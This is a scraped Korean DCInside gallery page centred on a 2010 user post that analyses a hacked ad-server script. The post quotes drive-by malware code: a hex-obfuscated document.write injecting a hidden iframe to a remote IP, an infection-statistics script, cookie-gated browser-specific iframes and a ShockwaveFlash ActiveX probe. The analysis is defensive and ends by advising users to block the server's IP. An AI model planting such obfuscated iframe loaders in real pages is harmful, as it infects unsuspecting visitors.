디씨 광고 서버 털림 ㅋ

닌텐도 DS 갤러리

1/3

국뽕주의) 전세계가 깜짝 놀라고 뉴욕이 무릎꿇는 대한문화 마떼오
해병사령관 "장관 통화기록 삭제" 증거인멸 있었나? 정치마갤용계정
냉혹한 한식 열풍 K-김밥...라이벌 등장의 세계.....jpg 인터네코
ㅅㅂㅅㅂ 실시간 광화문 근황 ㅋㅋㅋㅋㅋㅋ ㅇㅇ
민주, 영수회담 2차 실무회동서 16+a개 의제 제안 정치마갤용계정
싱글벙글 검열에 대응하는 미국 락 레이퀀스뱅큐어
싱글벙글 킥복싱의 정점이 UFC로 넘어오자 생겨난일 ㅇㅇ
이쁘지도 않은게 애가 만졌다고 난리야 긷갤러
[8년 개발] 호응이 좋아서 중요 기능 소개 올려봄 #4 공작
싱글벙글 성상품화 논란에 '야기분좋다' 외친 여배우..gif ㅇㅇ
日, 초중교 급식에 불량 우유 제공... 피해학생 655명 이상 난징대파티
싱글벙글 엘디아인 김대중개새끼
싱글벙글 시인의 의도를 파악하시오 ㅇㅇ
네이처 멤버 유흥업소 근무...결국 해체 ㄹㅇ...jpg Adidas
등기부등본 믿고 집 샀는데, 경매로 넘어간 60대의 눈물 어떤'인류학의'

신도림 보는 만화 [시리즈] 만화보는만화 · 에후의 일곱닌자 보는 만화 · 시구루이 보는 만화 · 사채꾼 우시지마 보는 만화 · 메이드 인 어비스 보는 만화 · 여로(똑바로서라핫산)보는 만화 · 크로스드 보는 만화 · 꼭두각시 서커스 보는 만화 · 전략인간병기 카쿠고 보는만화 · 도박묵시록 카이지 보는만화 · 식량인류 보는만화 · 체인소맨 보는만화 · 낚시신공 2부 보는만화 1부 폼 돌려줘~ 작성자 : 기음갤석사

헤케

2010.05.22 15:52:05

조회 683 추천 0 댓글 0

첨에 http://ade.realclick.co.kr/partner09_1/dcinside13_p2.js 들어가니까

window["\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74"]["\\x77\\x72\\x69\\x74\\x65"]("\\x3c\\x69\\x66\\x72\\x61\\x6d\\x65 \\x77\\x69\\x64\\x74\\x68\\x3d\\x27\\x31\\x30\\x27 \\x68\\x65\\x69\\x67\\x68\\x74\\x3d\\x27\\x31\\x27 \\x73\\x72\\x63\\x3d\\x27\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x32\\x31\\x31\\x2e\\x32\\x33\\x33\\x2e\\x36\\x39\\x2e\\x32\\x31\\x2f\\x72\\x6f\\x6f\\x6b\\x2e\\x68\\x74\\x6d\\x6c\\x27\\x3e\\x3c\\x2f\\x69\\x66\\x72\\x61\\x6d\\x65\\x3e");
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /home/www/html/inc_rc/common_variable.rc:67) in <b>/home/www/html/inc_rc/bank_stat.rc</b> on line <b>32</b><br />

뭐 이런게 뜨더라ㅋ
아마 common_variable.rc라는 파일을 털어서 저런일이 생긴거 같음 ㅋ
아무튼 저 코드를 해독하면

documentwrite<iframewidth=\'10\'height=\'1\'src=\'http://211.233.69.21/rook.html\'></iframe>

이런게 나옴미당 ㅋ

저 주소 들어가면

<html>
<br>
<br><iframe src="read.html" width="128" height="1" frameborder="0"></iframe><br>

<br>
< src="http://s123.cnzz.com/stat.php?id=501944&web_id=501944" language=""></>
</html>
요런거 뜸미당 ㅋ

저기서 밑에 cnzz.com은 바이러스 뿌린놈들이 얼마나 많은 새끼들이 바이러스 걸렸나 통계보는거고 위에 read.html을 보면

< language="">

document.writeln("< language=\"\">");
document.writeln("function loadx(){");
document.writeln("var Then = new Date()");
document.writeln("Then.setTime(Then.getTime() + 3*60*60*1000)");
document.writeln("var cookieString = new String(document.cookie)");
document.writeln("var cookieHeader = \"ahua=\"");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln("if (beginPosition != -1){");
document.writeln("} else { ");
document.writeln("document.cookie = \"ahua=Filter;expires=\"+ Then.toGMTString()");

document.writeln("document.write(\"<iframe src=ko1.htm width=123 height=1><\\/iframe>\");");

document.writeln("if(navigator.userAgent.toLowerCase().indexOf(\"0\'>\\\\x6D\"+\"\\\\x73\\\\x69\\\\x65\"+\"\\\\x20\\\\x36\")>0){");
document.writeln("document.write(\"<iframe width=125 height=111 src=i6.htm><\\/iframe>\");}");

document.writeln("if(navigator.userAgent.toLowerCase().indexOf(\"0\'>\\\\x6D\"+\"\\\\x73\"+\"\\\\x69\"+\"\\\\x65\"+\"\\\\x20\"+\"\\\\x37\")>0){");
document.writeln("document.write(\"<iframe src=i7.htm width=125 height=111><\\/iframe>\");}");

document.writeln("document.write(\"<iframe src=ko2.htm width=123 height=1><\\/iframe>\");");

document.writeln("}");
document.writeln("}");
document.writeln("loadx();");

document.writeln("<\\/>");
</>
요런게 뜸미당 ㅋ
각각의 파일들을 다봐야하지만 대충 보니까 웹브라우저별로 나누어서 무언가를 실행하는거 같은데 ㅋ 아무튼 제일 먼저 나오는 ko1.htm을 보면 ㅋ
<>
document.writeln("");

document.writeln("<>");

document.writeln("try{var f;");

document.writeln("var ff=new ActiveXObject(\"Sh\"+\"\\\\x6f\\\\x63\\\\x6b\\\\x77\"+\"av\"+\"e\"+\"Fl\"+\"a\"+\"s\"+\"h.S\"+\"ho\"+\"ckw\"+\"aveF\"+\"las\"+\"h\\");}");
document.writeln("catch(f){}; ");

document.writeln("finally{if(f!=\"[object Error]\"){aabb = \"<iframe src=kof.htm width=123 height=111><\\/iframe>\";");
document.writeln("document.write(aabb);}}");
document.writeln("");

document.writeln("<\\/>");
</>

요런게 뜸미당
더 살피기는 너무 귀찮아서
일단 여기까지 보면 activexobject부분이 보임미다
이게 바이러스의 핵심같음ㅋ
아무튼 이거 보면 owc10.dll 인가 설치하려고 하는데
이거 취약점이 있는듯ㅋ
이거 설치하면 님들다 좆됨 ㅋ

서버주소인 211.233.69.21은 일단 한국으로 잡힘

그래서 결론은 211.233.69.21을 접근 못하게 해두면 일단은 안전함미다.

고정닉 0

전체 댓글 0개

등록순

본문 보기

타인의 권리를 침해하거나 명예를 훼손하는 댓글은 운영원칙 및 관련 법률에 제재를 받을 수 있습니다.
Shift+Enter 키를 동시에 누르면 줄바꿈이 됩니다.

갤러리 리스트
번호	제목	글쓴이	작성일	조회	추천
설문	연인과 헤어지고 뒤끝 작렬할 것 같은 스타는?	운영자	24/04/22	-	-
AD	[원신] 신규 5성 아를레키노 등장	운영자	24/04/26	-	-
공지	불법 다운로드 및 복제 관련 게시물 등록에 주의해주십시오. [174]	*운영자*	07.05.18	164369	24
공지	닌텐도 DS 갤러리 이용 안내 [281]	*운영자*	07.02.02	72412	13
3692166	페르소나5 로열 세일중인데 살가요	초콜렛케이크	02:40	11	0
3692165	스칼렛 안구하기 했는데 결말 꼬라지 씨발	스그지	04.27	16	0
3692164	백영웅전 왜망함	가드타워	04.27	22	0
3692163	아키바에 니케 광고 걸어놨네 [1]	인과	04.27	40	0
3692162	스포) 캐쥬얼로 안구하는엔딩 깻음	프네	04.27	26	0
3692161	바이콘 플레이 스탑	스그지	04.27	26	0
3692159	닌갤 바보~ 닌갤 콱 뒈져버려~ [2]	궁닌	04.27	61	0
3692158	친모아 롬파일없음?	닌갤러(14.48)	04.26	32	0
3692157	미호요사랑개였던내가다른사랑개로전직한건에대하여 [4]	프네	04.25	91	0
3692156	혹시 닌텐도 ds에 [3]	ㅇㅇ	04.25	76	0
3692155	차임목소리 ㅈㄴ 귀여워서 봤더니만 50살 아줌마였네	인과	04.25	34	0
3692154	젠존제 왜이리 재밌어보임	히후미다이스키	04.25	31	0
3692153	근니콘 스위치 업뎃 드가자~	프네	04.25	30	0
3692152	리링크 오늘 7시에 쇼케하고 내일 업뎃이네 [1]	초콜렛케이크	04.25	40	0
3692151	잘몰라서 그런데 추천점	닌갤러(118.235)	04.25	61	6
3692150	닌모닝	나로로	04.25	29	0
3692149	스텔라블레이드는사야겠네 [2]	인과	04.25	45	0
3692148	나를 미호요의 충실한 개로 불러다오 [3]	ㅇㅇ(106.101)	04.25	56	0
3692147	던파하실분	헤븐즈	04.25	37	0
3692146	이건머하는씹망갤이야이거	궁닌	04.25	46	0
3692145	av페스티벌인가 뚜렷한 관련법 없이 금지하는건 좀 이상하다고 생각했는데	ㅇㅇ(117.111)	04.24	44	0
3692144	부기몰 부활 [7]	닌갤러(106.250)	04.24	108	0
3692143	스타레일 비틱한거 원신서 업보터짐 [1]	ㅇㅇ(59.9)	04.24	54	0
3692142	흠냐	리곤	04.24	33	0
3692141	저물어가는하루에씹덕겜글2개더올라온닌갤 [2]	프네	04.23	79	0
3692140	맘보 맘보~ [1]	ㅇㅇ(59.9)	04.23	50	0
3692139	반디 공개 떳노 ㅋㅋ 무조건 풀돌풀재 ㅋㅋ [2]	히후미다이스키	04.23	66	0
3692138	하루가저물어가는데씹덕겜글하나만올라와있는미친갤러리	ㅇㅇ(61.36)	04.23	41	0
3692137	미친련 대사 미쳤노	프네	04.23	370	0
3692136	난이도 낮출까 생각중임	스그지	04.22	36	0
3692135	맘보 맘보 [1]	ㅇㅇ(211.211)	04.22	51	0
3692133	유니콘 업뎃으로 쌍검쌍방패 떡상했다는데 [2]	프네	04.22	60	0
3692132	닌갤아 [3]	리곤	04.22	72	0
3692131	유니콘 플탐 100시간 넘김 ㅋㅋㅋ [7]	프네	04.22	74	0
3692130	스칼렜구하러가자고 늙은기사가 재촉하는데 [1]	스그지	04.21	52	0
3692129	유니콘 오버로드 좀 아까운 점 [1]	심쏘	04.21	68	0
3692128	어시스트 전문파티 만드는거 어떰	스그지	04.21	29	0
3692126	AI로 노래 만드는거 개웃기네 ㅋㅋ [2]	인과	04.21	77	0
3692125	렉스 욕하긴 했는데 공중유닛이랑 회피탱 굴리니까 마렵네	스그지	04.21	36	0
3692124	헐 나 어벤츄린 스택쌓여서 빨리나온줄 알았는데 [1]	ㅇㅇ(211.211)	04.21	60	0
3692123	단식 시발	스그지	04.20	48	0
3692122	쿨타치바나 [1]	pondic	04.20	533	0
3692121	닌모닝	최병장	04.20	49	0
3692120	에스엔에스라는거 어캐하는건지 모르겠음 [1]	으앙나도사줘	04.20	58	0
3692119	님들 저 겜잘알인지 봐주셈	ㅇㅇ(182.213)	04.20	59	0
3692117	유니콘 렉스 이새끼 어케 씀 [3]	ㅇㅇ(182.213)	04.20	58	0
3692116	패시브 조건설정하려는데 볭종에 왜 아군만 설정됨 [2]	스그지	04.20	56	0
3692114	특정 병종에게는 안쓰게 하고싶은데	스그지	04.19	40	0